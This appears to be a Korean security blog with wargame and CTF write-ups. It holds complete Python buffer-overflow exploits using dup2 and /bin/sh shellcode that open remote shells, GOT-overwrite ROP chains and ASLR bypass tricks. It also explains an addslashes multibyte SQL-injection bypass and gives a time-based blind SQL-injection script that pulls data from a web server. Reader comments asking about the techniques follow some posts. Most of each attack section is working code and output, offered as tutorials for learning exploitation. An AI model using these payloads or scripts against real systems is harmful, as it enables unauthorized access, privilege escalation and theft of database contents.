from struct import *
from socket import *
import time
 
fd=4
shellcode = "\x31\xc9\xb1\x02\x31\xdb\xb3\x41\x31\xc0\xb0\x3f\xcd\x80\x49\x79\xf7" # dup2
shellcode = shellcode.replace("\x41", chr(fd))
# bin/sh
shellcode += "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3"+\
"\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80"
 
s = socket(AF_INET, SOCK_STREAM)
s.connect(('localhost',20001))
#raw_input("go? ")
buf = ""
buf += "GET "
buf += "\x90"*139
buf += pack('<I',0x8049f4f) # jmp esp
buf += "\x90" *100
buf += shellcode
buf += " HTTP/1.1"
s.send(buf)
 
s.send("id\n")
get = s.recv(1024)
print get
s.close()


posted by tunz
from struct import *
from socket import *
import time
 
fd=4
shellcode = "\x31\xc9\xb1\x02\x31\xdb\xb3\x41\x31\xc0\xb0\x3f\xcd\x80\x49\x79\xf7" # dup2
shellcode = shellcode.replace("\x41", chr(fd))
# bin/sh
shellcode += "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3"+\
"\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80"
 
s = socket(AF_INET, SOCK_STREAM)
s.connect(('localhost',20000))
print s.recv(1024)
#raw_input("go? ")
buf = ""
buf += "GET "
buf += "\x90"*139
buf += "\x5c\xa1\xf8\xbf"
buf += "\x90" *100
buf += shellcode
buf += " HTTP/1.1"
s.send(buf)
 
s.send("id\n")
get = s.recv(1024)
print get
s.close()


posted by tunz
  • 마루 2014.01.29 07:54

    안녕하세요. 강좌 잘 보고있습니다.
    궁금한 부분이 있어서 질문 드립니다.
    쉘코드 부분에 아래 내용이 있던데요
    왜 아래처럼 문자를 바꾸는건가요?
    shellcode.replace("\x41", chr(fd))
    보시고 답변 좀 부탁 드릴게요.
    수고하세요

    • tunz 2014.01.29 14:27 신고

      쉘코드의 해당 위치에 원래 소켓의 fd가 들어가야 합니다.
      근데 이 소켓의 fd는 상황에 따라서 값이 달라질수 있기 때문에,
      그때그때 바꿔쓰기 위해서 그 자리에 0x41로 표시해놓고, 그걸 치환해서 사용하는것입니다.

  • 마루 2014.02.05 07:10

    감사합니다. 소켓에는 dup 이 있군요.
    자세한 설명 정말 감사합니다^^
    수고하세요.

local환경에서 BOF 공격을 할때, 루트권한 없이도 libc의 주소 randomization을 해제하는 트릭이 있다.


$ ulimit -s unlimited


를 이용하면 된다.

(단, 32비트 리눅스에서만 가능하다고 한다.)



$ ldd a

linux-gate.so.1 =>  (0xb7768000)

libc.so.6 => /lib/tls/i686/cmov/libc.so.6 (0xb75fb000)

/lib/ld-linux.so.2 (0xb7769000)

$ ldd a

        linux-gate.so.1 =>  (0xb772f000)

libc.so.6 => /lib/tls/i686/cmov/libc.so.6 (0xb75c2000)

/lib/ld-linux.so.2 (0xb7730000)

$ ulimit -s unlimited

$ ldd a

linux-gate.so.1 =>  (0x4001d000)

libc.so.6 => /lib/tls/i686/cmov/libc.so.6 (0x40032000)

/lib/ld-linux.so.2 (0x40000000)

$ ldd a

linux-gate.so.1 =>  (0x4001d000)

libc.so.6 => /lib/tls/i686/cmov/libc.so.6 (0x40032000)

/lib/ld-linux.so.2 (0x40000000)




posted by tunz

/*
        The Lord of the BOF : The Fellowship of the BOF
        - cruel
        - Local BOF on Fedora Core 4
        - hint : no more fake ebp, RET sleding on random library
*/
 
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
 
int main(int argc, char *argv[])
{
    char buffer[256];
 
    if(argc < 2){
        printf("argv error\n");
        exit(0);
    }
 
    strcpy(buffer, argv[1]);
    printf("%s\n", buffer);
}

random library이긴 하지만, 경우의수가 별로 없다. 그냥 주소 하나를 잡고 될때까지 하면 되므로 별로 신경 안써도 된다.

공격방법은 ret sleding을 이용한다.

ret주소(“\x51\x84\x04\x08”)와 execve의 주소(“\xbc\x2a\x83\x00”)를 알아내고, ret의 갯수를 하나씩 늘려가면서 시도해본다

계속 반복하다가, ret을 열두개 넣었을때 execve의 두번째 인자부터 0이다.

$ strace ./cruel `python -c 'print "A"*260+"\x51\x84\x04\x08"*12+"\xbc\x2a\x83\x00"'` >& result
$ xxd result | grep cve -A 4
...
0000640: 6563 7665 2822 85c0 7553 65a1 5422 2c20  ecve("..uSe.T",
0000650: 5b30 5d2c 205b 2f2a 2030 2076 6172 7320  [0], [/* 0 vars
0000660: 2a2f 5d29 2020 3d20 2d31 2045 4e4f 454e  */])  = -1 ENOEN
0000670: 5420 284e 6f20 7375 6368 2066 696c 6520  T (No such file
0000680: 6f72 2064 6972 6563 746f 7279 290a 2d2d  or directory).--

그러므로, 해당 파일이름을 만들어주고, 그 파일에서 쉘을 실행시킨다.

$ cat sh.c int main() {

setreuid(geteuid(), geteuid()); system("/bin/sh"); } $ gcc sh.c -o sh $ ln -s sh `perl -e 'print "\x85\xc0\x75\x53\x65\xa1\x54"'`

그리고나서, exploit

$ ./cruel `python -c 'print "A"*260+"\x51\x84\x04\x08"*12+"\xbc\x2a\x83\x00"'` AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQQQQQQQQQQQQ¼*ƒ sh-3.00$ my-pass euid = 501 come on, come over

(random library 이므로, 한번에 성공하지 못할수도 있다. 두세번 더 시도하면 성공한다.)

posted by tunz


/*
        The Lord of the BOF : The Fellowship of the BOF
        - dark_stone
        - Remote BOF on Fedora Core 3
        - hint : GOT overwriting again
        - port : TCP 8888
*/
 
#include <stdio.h>
 
// magic potion for you
void pop_pop_ret(void)
{
        asm("pop %eax");
        asm("pop %eax");
        asm("ret");
}
 
int main()
{
        char buffer[256];
        char saved_sfp[4];
        int length;
        char temp[1024];
 
        printf("dark_stone : how fresh meat you are!\n");
        printf("you : ");
        fflush(stdout);
        // give me a food
        fgets(temp, 1024, stdin);
 
        // for disturbance RET sleding
        length = strlen(temp);
 
        // save sfp
        memcpy(saved_sfp, buffer+264, 4);
 
        // overflow!!
        strcpy(buffer, temp);
 
        // restore sfp
        memcpy(buffer+264, saved_sfp, 4);
 
        // disturbance RET sleding
        memset(buffer+length, 0, (int)0xff000000 - (int)(buffer+length));
 
        // buffer cleaning
        memset(0xf6ffe000, 0, 0xf7000000-0xf6ffe000);
 
        printf("%s\n", buffer);
}

다른점은 remote 라는것밖에 다른게 없다.

슈퍼데몬이라서 공격방법은 똑같고, 소켓으로 보내는점만 다르다.

이전 단계의 exploit에서 주소들만 수정해주고, 소켓으로 보내면 된다.

import os
import struct
from socket import *
 
def L_E(number):
        return struct.pack('<I',number)
 
PPR = 0x80484f3 # pop-pop-ret
STRCPY = 0x8048438
MEMCPY = 0x8048418
MEMCPY_GOT = 0x8049850
BINSH = 0x8049878
str_c0 = 0x80484c8+8
str_07 = 0x8048178+4
str_75 = 0x80482b4
str_00 = 0x8048138
str_slash = 0x8048114
str_b = 0x8048114+3
str_i = 0x8048114+2
str_n = 0x8048114+10
str_s = 0x8048740+6
str_h = 0x80481b4+4
 
payload = 'A'*268
payload += L_E(STRCPY)
payload += L_E(PPR)
payload += L_E(MEMCPY_GOT)
payload += L_E(str_c0)
payload += L_E(STRCPY)
payload += L_E(PPR)
payload += L_E(MEMCPY_GOT+1)
payload += L_E(str_07)
payload += L_E(STRCPY)
payload += L_E(PPR)
payload += L_E(MEMCPY_GOT+2)
payload += L_E(str_75)
payload += L_E(STRCPY)
payload += L_E(PPR)
payload += L_E(MEMCPY_GOT+3)
payload += L_E(str_00)
payload += L_E(STRCPY)
payload += L_E(PPR)
payload += L_E(BINSH)
payload += L_E(str_slash)
payload += L_E(STRCPY)
payload += L_E(PPR)
payload += L_E(BINSH+1)
payload += L_E(str_b)
payload += L_E(STRCPY)
payload += L_E(PPR)
payload += L_E(BINSH+2)
payload += L_E(str_i)
payload += L_E(STRCPY)
payload += L_E(PPR)
payload += L_E(BINSH+3)
payload += L_E(str_n)
payload += L_E(STRCPY)
payload += L_E(PPR)
payload += L_E(BINSH+4)
payload += L_E(str_slash)
payload += L_E(STRCPY)
payload += L_E(PPR)
payload += L_E(BINSH+5)
payload += L_E(str_s)
payload += L_E(STRCPY)
payload += L_E(PPR)
payload += L_E(BINSH+6)
payload += L_E(str_h)
payload += L_E(STRCPY)
payload += L_E(PPR)
payload += L_E(BINSH+7)
payload += L_E(str_00)
payload += L_E(MEMCPY)
payload += "AAAA"
payload += L_E(BINSH)
 
s = socket(AF_INET, SOCK_STREAM)
s.connect(('localhost',8888))
s.send(payload+'\n')
print s.recv(1024)
while True:
        cmd = raw_input('$ ')
        if cmd == 'exit':
                s.close()
                break
        s.send(cmd+'\n')
        result = s.recv(1024)
        print result
s.close()
$ python exploit.py
dark_stone : how fresh meat you are!
you :
$ my-pass
euid = 505
let there be light


posted by tunz
  • 2013.10.12 21:34

    비밀댓글입니다

    • tunz 2013.10.13 10:23 신고

      어느 부분에서 그 에러가 나나요??
      지금 페도라를 다 지워서 확인을 못하겠네요

  • 2013.10.13 16:51

    비밀댓글입니다

    • tunz 2013.10.14 23:13 신고

      음.. 딱히 문제가 되는 부분은 없는거같은데
      strace나 gdb등으로 한번 확인해보세요


/*
        The Lord of the BOF : The Fellowship of the BOF
        - evil_wizard
        - Local BOF on Fedora Core 3
        - hint : GOT overwriting
*/
 
// magic potion for you
void pop_pop_ret(void)
{
        asm("pop %eax");
        asm("pop %eax");
        asm("ret");
}
 
int main(int argc, char *argv[])
{
        char buffer[256];
        char saved_sfp[4];
        int length;
 
        if(argc < 2){
                printf("argv error\n");
                exit(0);
        }
 
        // for disturbance RET sleding
        length = strlen(argv[1]);
 
        // healing potion for you
        setreuid(geteuid(), geteuid());
        setregid(getegid(), getegid());
 
        // save sfp
        memcpy(saved_sfp, buffer+264, 4);
 
        // overflow!!
        strcpy(buffer, argv[1]);
 
        // restore sfp
        memcpy(buffer+264, saved_sfp, 4);
 
        // disturbance RET sleding
        memset(buffer+length, 0, (int)0xff000000 - (int)(buffer+length));
 
        printf("%s\n", buffer);
}


evil_wizard.c


이번엔 드디어 pop-pop-ret이 있다.


최근 컴파일러에는 pop-pop-ret이 꼭 있다고 한다.

시스템이 구버전이라, 이번 케이스에서는 pop-pop-ret을 강제로 넣어줬다.


hell_fire로 넘어가는 단계에서.. pop-pop-ret없이는 도저히 못하겠어서 그냥 다른 블로그를 좀 베꼈다...

원래 의도는 fgets를 이용해서 custom stack을 만드는게 아닐까 하는데,

자꾸 null이 들어가서 스택을 못만들겠다.. 무슨 방법이 있을텐데 여튼 모르겠어서 그단계는 스킵했다.


여튼 이번엔 fgets가 없는대신 strcpy와 pop-pop-ret이 주어졌다.


공격순서는

1. strcpy로 memcpy의 GOT를 system의 주소값으로 덮어쓴다.

2. strcpy로 bss영역에 "/bin/sh"를 써넣는다.

3. system("/bin/sh")를 실행시킨다.


pop-pop-ret의 주소 알아내기

$ objdump -d evil_wizard | grep pop -A 1
...
 804854f:       58                      pop    %eax
 8048550:       58                      pop    %eax
 8048551:       c3                      ret
...

memcpy got의 주소와 system의 주소 알아내기

$ objdump -h evil_wizard | grep got
 19 .got          00000004  08049868  08049868  00000868  2**2
 20 .got.plt      00000038  0804986c  0804986c  0000086c  2**2
$ gdb -q evil_wizard
(gdb) b *main+319
(gdb) r 1
(gdb) x/10x 0x804986c
0x804986c <_GLOBAL_OFFSET_TABLE_>:      0x080497a0      0x007194f8      0x0070e9e0      0x00783d70
0x804987c <_GLOBAL_OFFSET_TABLE_+16>:   0x007d98f0      0x00730d50      0x0075e660      0x007854c0
0x804988c <_GLOBAL_OFFSET_TABLE_+32>:   0x007d9860      0x0804845a
(gdb) print memcpy
$1 = {<text variable, no debug info>} 0x7854c0 <memcpy>
(gdb) x/x 0x8049888
0x8049888 <_GLOBAL_OFFSET_TABLE_+28>:   0x007854c0
(gdb) print system
$2 = {<text variable, no debug info>} 0x7507c0 <system>
(gdb) print strcpy
$2 = {<text variable, no debug info>} 0x783880 <strcpy>
(gdb) x/i 0x8048494
0x8048494 <_init+200>:  jmp    *0x80498a0
(gdb) x/x 0x80498a0
0x80498a0 <_GLOBAL_OFFSET_TABLE_+52>:   0x00783880

memcpy의 got 주소는 0x8049888, system의 주소는0x7507c0, strcpy의 주소는 0x8048494 이다.

또, /bin/sh를 넣기위한 공간을 구한다.

$ objdump -h evil_wizard | grep bss
 22 .bss          00000004  080498b0  080498b0  000008b0  2**2
$ gdb -q evil_wizard
(gdb) b *main
Breakpoint 1 at 0x8048554
(gdb) r 1
Starting program: /home/hell_fire/evil_wizard 1
(no debugging symbols found)...(no debugging symbols found)...
Breakpoint 1, 0x08048554 in main ()
(gdb) x/10x 0x080498b0
0x80498b0 <completed.1>:        0x00000000      0x00000000      0x00000000     0x00000000
0x80498c0:      0x00000000      0x00000000      0x00000000      0x00000000
0x80498d0:      0x00000000      0x00000000

/bin/sh은 0x80498c0 정도에 넣도록 하겠다.

그럼 이제, strcpy를 통해 넣어야하니, 필요한 글자들의 위치를 찾아낸다.

찾아내야할 문자들은, \x00,\x75,\x07,\xc0,/,b,i,n,s,h

$ objdump -s evil_wizard | grep 00
...
 8048148 03000000 0f000000 0d000000 07000000  ................
...
$ objdump -s evil_wizard | grep 75
...
80486f4 0000005b 81c37511 00008d83 20ffffff  ...[..u..... ...
...
$ objdump -s evil_wizard | grep 07
...
8048148 03000000 0f000000 0d000000 07000000  ................
...
$ objdump -s evil_wizard | grep c0
...
8048524 ec08a19c 97040885 c07419b8 00000000  .........t......
...
$ objdump -s evil_wizard | grep /
 8048114 2f6c6962 2f6c642d 6c696e75 782e736f  /lib/ld-linux.so
...
$ objdump -s evil_wizard | grep h
...
 804836c 68980408 060d0000                    h.......
...

전부 알아냈으니, 이제 exploit

import os
import struct
 
def L_E(number):
        return struct.pack('<I',number)
 
PPR = 0x804854f # pop-pop-ret
STRCPY = 0x8048494
MEMCPY = 0x8048434
MEMCPY_GOT = 0x8049888
BINSH = 0x80498C0
 
payload = 'A'*268
payload += L_E(STRCPY)
payload += L_E(PPR)
payload += L_E(MEMCPY_GOT)
payload += L_E(0x8048524+8) # c0
payload += L_E(STRCPY)
payload += L_E(PPR)
payload += L_E(MEMCPY_GOT+1)
payload += L_E(0x8048148+12) # 07
payload += L_E(STRCPY)
payload += L_E(PPR)
payload += L_E(MEMCPY_GOT+2)
payload += L_E(0x80486f4+6) # 75
payload += L_E(STRCPY)
payload += L_E(PPR)
payload += L_E(MEMCPY_GOT+3)
payload += L_E(0x8048148+1) # 00
payload += L_E(STRCPY)
payload += L_E(PPR)
payload += L_E(BINSH)
payload += L_E(0x8048114) # /
payload += L_E(STRCPY)
payload += L_E(PPR)
payload += L_E(BINSH+1)
payload += L_E(0x8048114+3) # b
payload += L_E(STRCPY)
payload += L_E(PPR)
payload += L_E(BINSH+2)
payload += L_E(0x8048114+2) # i
payload += L_E(STRCPY)
payload += L_E(PPR)
payload += L_E(BINSH+3)
payload += L_E(0x8048114+10) # n
payload += L_E(STRCPY)
payload += L_E(PPR)
payload += L_E(BINSH+4)
payload += L_E(0x8048114) # /
payload += L_E(STRCPY)
payload += L_E(PPR)
payload += L_E(BINSH+5)
#payload += L_E(0x8048114+14) # s
payload += L_E(0x8048780+5) # s
payload += L_E(STRCPY)
payload += L_E(PPR)
payload += L_E(BINSH+6)
payload += L_E(0x804836c) # h
payload += L_E(STRCPY)
payload += L_E(PPR)
payload += L_E(BINSH+7)
payload += L_E(0x8048148+1) # 00
payload += L_E(MEMCPY)
payload += "AAAA"
payload += L_E(BINSH)
 
os.system('./evil_wizard '+payload)
$ python exploit.py
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAÈñ÷þ”Oˆ,”O‰”OŠú”O‹”O”O”O”O”O”OÅ…”OÆl”OÇ4AAAAÀ˜
sh-3.00$ my-pass
euid = 504
get down like that

posted by tunz
  • levs 2013.09.28 01:24

    친절한 답변 감사합니다. 하나만 질문 더하겠습니다.
    그 strcpy로 왜 memory got에다가 한바이트 씩 주소를 복사하나요?
    그냥 통채로 주소 복사해버리면 안되나요?

    • tunz 2013.09.30 22:45 신고

      주소가 있다면 통째로 가져오겠지만, 없어서 부분부분 가져왔었습니다

  • levs 2013.09.30 00:45

    커리큘럼에 관해서도 질문하나 드리고 싶은데 커널공부는 언제 공부해야 적당할까요

    • tunz 2013.09.30 22:53 신고

      커널공부 저는 아직 해본적 없긴 한데, 언제든지 필요하다고 느끼시면 바로바로 하시는게 좋다고 생각합니다 ㅋㅋ
      해킹이 워낙 전범위를 알고있어야하다보니까, 딱히 공부의 시기같은건 상관 없는것 같아요.

  • aex 2013.10.19 21:36

    왜 bss영역에다 복사해주나요?

    • tunz 2013.10.20 03:50 신고

      address가 고정되어있고, read와 write가 가능한 공간중 적절한곳을 그냥 고른것입니다.

  • 마루 2013.12.05 17:25

    궁금한 부분이 있는데요
    마지막 공격시에
    MEMCPY = 0x8048434 이렇게 된 주소는 memcpy 원래주소 0x7854c0가 되야 되는거 아닌가요

    • tunz 2013.12.05 22:52 신고

      원래 주소는 ASLR때문에 항상 바뀌기때문에 사용할수 없구요,
      고정주소인 plt 주소를 사용해야합니다

    • 마루 2013.12.13 10:35

      아 넵 감사합니다^^

  • 0000 2014.10.06 19:14

    혹시 이게 rop 인가요?
    궁굼한게 많은데 혹시 네이트온 하시면 연락처좀 알려주시면 감사하겠습니다.

CTF를 풀때 정말 난감한 환경들이 있다.

예를들어, 특히 우리학교.

우리학교처럼 외부접속을 아예 막아버린 상태에선 리버스텔넷이 불가능하다.

이런 상황에서 CTF서버측에 방화벽이 켜져있으면 바인드쉘도 불가능하기때문에, 다른방법을 써야하는데


dup2+쉘을 이용하면 가능하다.

dup2에 대해서 우선 설정하자면, dup2(a,b) 의 형식인데

원래 dup 함수에 대해 검색해보면 알겟지만, 파일 디스크립터를 복사해주는 역할을 하고 파일디스크립터 번호를 안쓰는 랜덤번호로 지정해준다.

dup대신 dup2를 쓰게되면, 번호를 지정해서 변경할수 있는데, 파일디스크립터 a를 특정번호 b로 지정해준다.

이때, b를 1로 지정해주게되면 stdout으로 지정이 되어, stdout의 결과가 클라이언트로 전송이 된다.

그래서, dup2 쉘코드를 먼저 실행시킨후, 특정 명령을 하는 쉘코드를 실행하고, 그 결과를 stdout으로 출력하면, 프린트 결과물이 이미 연결되어있는 소켓을 통해 공격자의 컴퓨터로 전송이 된다.


64비트용과 32비트용의 dup2 쉘코드 예제를 보겠다.


 # ndisasm -b 64 test

00000000  4831C0            xor rax,rax          

00000003  B021              mov al,0x21           ; dup2 콜 번호를 설정한다.

00000005  4831FF            xor rdi,rdi

00000008  40B708            mov dil,0x8           ; fd 번호를 설정한다.

0000000B  4831F6            xor rsi,rsi

0000000E  48FFC6            inc rsi                ; rsi를 1로 맞춰서 stdout에 맞춘다.

00000011  0F05              loadall286

64비트 (stdout만 변경)


# ndisasm -b 32 test

00000000  31C9              xor ecx,ecx

00000002  B102              mov cl,0x2        

00000004  31DB              xor ebx,ebx

00000006  B341              mov bl,0x41          ; fd 번호를 설정한다. (여기선 41)

00000008  31C0              xor eax,eax

0000000A  B03F              mov al,0x3f         ; dup2 시스템콜 번호를 설정한다.

0000000C  CD80              int 0x80         

0000000E  49                dec ecx

0000000F  79F7              jns 0x8

32비트 (stdin,stdout,stderr 모두 변경)


시스템콜번호는 OS마다 다를수도 있으니, 잘 안되면 정확히 확인해봐야 한다.

(지금까지 확인해본 결과로는, 32비트에서는 모두 0x3f로 동일했다.)

그리고, fd값을 구하는 법에 대해서 고민해봤는데,

찾아보니 3이후의 값을 하나씩 넣어보는 사람도 있었고,

좀더 좋은방법은 결국 fd값도 변수일테니, 그 변수의 위치를 찾아서 ebx에 넣어줘도 된다.

(근데, fork를 사용하는 binary의 경우는 어짜피 정해져있기때문에 하나씩 넣어보는것이 편하다.)


그리고나서 metasploit툴에서 제공하는 msfvenom을 이용해 커맨드쉘을 만들고, dup2 뒤에 덮붙이면 된다.

./msfvenom -p linux/x86/exec CMD="/bin/id" -b '\x0a\x00'


좀더 나아가서,


아니면 아예 위에서 보듯이 32비트같은 경우는, 모두 연결해놨기때문에, 리버스텔넷이나 바인드쉘과 같은 효과를 낼수도 있다.


위의 dup2루프 쉘코드와 execve("/bin/sh")를 합쳐서 페이로드로 사용하면 된다.


fd = ??

shellcode = "\x31\xc9\xb1\x02\x31\xdb\xb3\x41\x31\xc0\xb0\x3f\xcd\x80\x49\x79\xf7" # dup2

shellcode = shellcode.replace("\x41", chr(fd))

# bin/sh

shellcode += "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3"+\

"\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80"

(41바이트 / python)


실험을 해보기위해서, BoF 원정대의 death_knight의 소스를 가져와서 테스트를 해보았다.

 /*
The Lord of the BOF : The Fellowship of the BOF
- dark knight
- remote BOF
*/
#include <stdio.h>
#include <stdlib.h>
#include <errno.h>
#include <string.h>
#include <sys/types.h>
#include <netinet in.h>
#include <sys/socket.h>
#include <sys/wait.h>

main()
{
char buffer[40];

int server_fd, client_fd;
struct sockaddr_in server_addr;
struct sockaddr_in client_addr;
int sin_size;
if((server_fd = socket(AF_INET, SOCK_STREAM, 0)) == -1){
perror("socket");
exit(1);
}

server_addr.sin_family = AF_INET;
server_addr.sin_port = htons(6666);
server_addr.sin_addr.s_addr = INADDR_ANY;
bzero(&(server_addr.sin_zero), 8);

if(bind(server_fd, (struct sockaddr *)&server_addr, sizeof(struct sockaddr)) == -1){
perror("bind");
exit(1);
}

if(listen(server_fd, 10) == -1){
perror("listen");
exit(1);
}
while(1) {
sin_size = sizeof(struct sockaddr_in);
if((client_fd = accept(server_fd, (struct sockaddr *)&client_addr, &sin_size)) == -1){
perror("accept");
continue;
}

if (!fork()){
send(client_fd, "Death Knight : Not even death can save you from me!\n", 52, 0);
send(client_fd, "You : ", 6, 0);
recv(client_fd, buffer, 256, 0);
close(client_fd);
break;
}

close(client_fd);
while(waitpid(-1,NULL,WNOHANG) > 0);
}
close(server_fd);
}

death_knight.c


우분투의 환경에서 컴파일 했기때문에, 각종 방어기법을 해제하기 위해서 컴파일 옵션을 줬다.

 gcc -fno-stack-protector -z execstack -mpreferred-stack-boundary=2 death_knight.c


추가로, ASLR을 제거해준다.

echo "0" > /proc/sys/kernel/randomize_va_space 


그리고, /proc/프로세스아이디/fd 를 체크해보면 알겠지만, accept의 소켓번호는 4번이다.

 

그러므로, exploit을 작성해보면

from socket import *
import sys
import time

fd = 4
shellcode = "\x31\xc9\xb1\x02\x31\xdb\xb3\x41\x31\xc0\xb0\x3f\xcd\x80\x49\x79\xf7"
shellcode = shellcode.replace("\x41", chr(fd))
shellcode += "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3"+\
"\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80"

breakall=0
for a in range(0xff,0x01,-1):
        for b in range(0x00, 0xff, 100):
                #print hex(a) + hex(b)
                payload = ""
                payload += "\x90"*52 
                payload += chr(b)+chr(a)+"\xff\xbf" # return address
                payload += "\x90"*100
                payload += shellcode
                s=socket(AF_INET,SOCK_STREAM)
                s.connect(('127.0.0.1',6666))
                while "You" not in s.recv(1024): pass
                time.sleep(0.0001)
                s.send(payload)
                s.send('id\n')
                get = s.recv(1024)
                #if get: print get
                if get.find('id') is not -1:
                        while True:
                                cmd = raw_input('$ ')
                                if cmd == 'exit':
                                        s.close()
                                        breakall = 1
                                        break
                                s.send(cmd+'\n')
                                result = s.recv(1024)
                                print result
                        s.close()
                else:
                        s.close()
                if breakall == 1:
                        break
        if breakall == 1:
                break


 # python exploit.py 
id
uid=0(root) gid=0(root) groups=0(root)




posted by tunz

php mysql에서 addslashes를 이용해서 인젝션을 차단하고 있거나,

euc-kr을 utf-8로 변환을 하는 작업이 있을경우, 멀티바이트를 이용해서 우회가 가능합니다.

두가지 케이스 모두 솔루션은 같으므로, 한번에 설명하겠습니다.


addslashes는 입력스트링 중에 quote(') 가 있다면 앞에 \를 붙여줌으로써, " \' " 로 변환됩니다.

그래서, quote를 소용없게 만드는것이죠.


하지만, 멀티바이트로 보내면 소용이 없습니다.


예를 들어 url encoding 구문으로 %bf%27을 보낸다면, (%27이 quote입니다.)

%bf%5C%27 로 변하게 되고. (%5C가 \ 입니다.)

결국, %bf%5C 가 한글자로 읽히게 됩니다. (유니코드이기 때문에.)

그리고 %27이 \의 간섭을 안받고 자유가 됨으로써, sql injection이 가능합니다.

posted by tunz
  • 2013.09.02 16:43

    비밀댓글입니다

    • tunz 2013.09.03 00:18 신고

      꼭 GET방식이 아니라도, POST 방식에서도 똑같은 방법으로 공격이 가능합니다.
      왜 잘 안되는지는 직접 봐야 알것같네요.

  • 초보 2013.11.18 14:48

    euc-kr을 utf-8로 변환을 하는 작업이 있을때만 공격 가능 하나요?
    잘 이해가 되질 않아서요. 만약에 어떤 게시판 검색 란에 '를 입력을 했을시 치환이 \' 으로 변환이 된다면 공격 가능한 구간이 될 것으로 판단이 되는데요..euc-kr을 utf-8로 변환을 하는 작업이라는 말이 잘 이해가 안가네요 ㅠ

    • tunz 2013.11.27 13:15 신고

      그게 넘어갈때는 single byte로 넘어갔다가,
      예를들어, %bf와 %27이 각각 다른 문자로 넘어가는 거죠.
      그리고나서, 매직쿼트 처리가 되고나서 멀티바이트로 읽히면, 공격이 가능합니다
      이때는 %bf%27이 한글자인데, 중간에 %5c가 껴버려서 %bf%5c까지 한글자가 되는거죠.

(Only mysql)


Blind SQL injection은 아무래도 브루트포싱이다보니, 한글자를 알아내기까지 많은 쿼리를 보내야합니다.

빠릿빠릿한 서버라면, 별 상관없을수도 있지만. 느린서버를 공략할때는 너무 답답합니다.

하지만, LPAD,bin,ascii와 같은 함수들을 이용하면, 쿼리의 횟수를 확 줄일수 있습니다.


기존의 방법대로라면 한글자를 알아내기까지 최대 약 70개정도의 쿼리를 보내야 한다면.

이 방법을 사용했을땐, 8번의 쿼리만으로 글자를 알아낼수 있습니다.


함수들을 설명해드리면,

ascii는 캐릭터를 숫자로 변환하는 함수입니다.

ex) 'A' -> 65, 'a' -> 94, '0' ->48


bin은 숫자를 2진법 형태의 스트링으로 변환하는 함수입니다.

ex) 12 -> '1100', 65->'1000001'


LPAD는 글자수를 맞춰주고, 모자란만큼 왼쪽에 특정 스트링을 채워넣는 함수입니다. (아마 Left Padding의 약자인것 같습니다.)

LPAD(스트링,글자수,채울 스트링)

ex) LPAD('1',8,0) -> '00000001', LPAD('1010',8,0) -> '00001010'

그래서 항상 글자수를 8글자로 유지해주는 함수입니다.


대충 감이 오실겁니다.


이 방법은,

1. 글자 하나를 substring 해온다.

2. substring해온 글자를 숫자로 바꾼다.

3. 바꾼 숫자를 2진법으로 바꾼다.

4. 8글자로 맞춰준다.


그래서 8글자를 하나하나 확인함으로써, 한글자를 알아낼수 있는것이죠.


처음 봤을때 정말 감탄했던 방법입니다.


예제 python 코드를 보여드리겠습니다.

Time-based Blind SQL Injection을 혼합한 형태입니다.

(살짝 수정을해서, 복붙하면 제대로 돌아갈지는 모르겠네요.)


import httplib,urllib;

import time


# Blind SQL injection


# setting

conn = httplib.HTTPConnection("www.??????.com",80)

conn.connect()

toget = '[타겟 컬럼]'

answer = ""

length=[글자 길이]

k = 1

m = 1

i = 0

while 1:

        query = "if(substr(LPAD(bin(ascii(substr("+toget+","+str(k)+",1))),8,0),"+str(m)+",1) = '1',SLEEP(2),1)"

        t1 = time.time()

        params = urllib.urlencode({'id':query,'pw':'abc'})

        conn.putrequest('GET','/?????/??????.php?'+params)

        conn.endheaders()

        response = conn.getresponse()

        data = response.read()

        t2 = time.time()

        if (t2-t1) >= 2: # if it is true

                i += pow(2,8-m)

                print str(m)+" "+str(i)

        if m is 8:

                answer = answer+chr(i)

                print "Find: " + answer

                k = k+1

                i=0

                m=1
                if k > length:
                        break
                else:
                        continue
        m = m+1

print "Answer:" +answer
conn.close()


posted by tunz

이번에도 문법은 MySQL 기준으로 설명하겠습니다.


Blind SQL injection을 할때, True or False에 따라 결과값이 달라진다면, 간단히 해낼수있지만.

True or False에 따른 화면 결과값이 달라지지 않을때가 있습니다.


그럴땐 if함수와 sleep함수를 이용하면 됩니다.

그리고, 시간을 재야하기 때문에 파이썬등의 스크립트를 이용한 공격이 필수라고 생각됩니다..


Sleep은 대부분 아실텐데, sleep(x) 라면, x초간 멈추는겁니다.


그리고 if함수의 구성을 보자면,

if(조건,참일때 결과값,거짓일때 결과값)

입니다.


그래서 참일때, sleep(x)을 걸고, 요청을 보내서 response가 x초 이후에 도착했다면, True라고 판단하면 됩니다.

물론, 평소의 response가 오기까지 얼마나 걸리는지 알아두고, 적당한 x값을 넣어야겠죠. 


그리고 이 방법은 Insert문에서도 사용이 가능합니다.


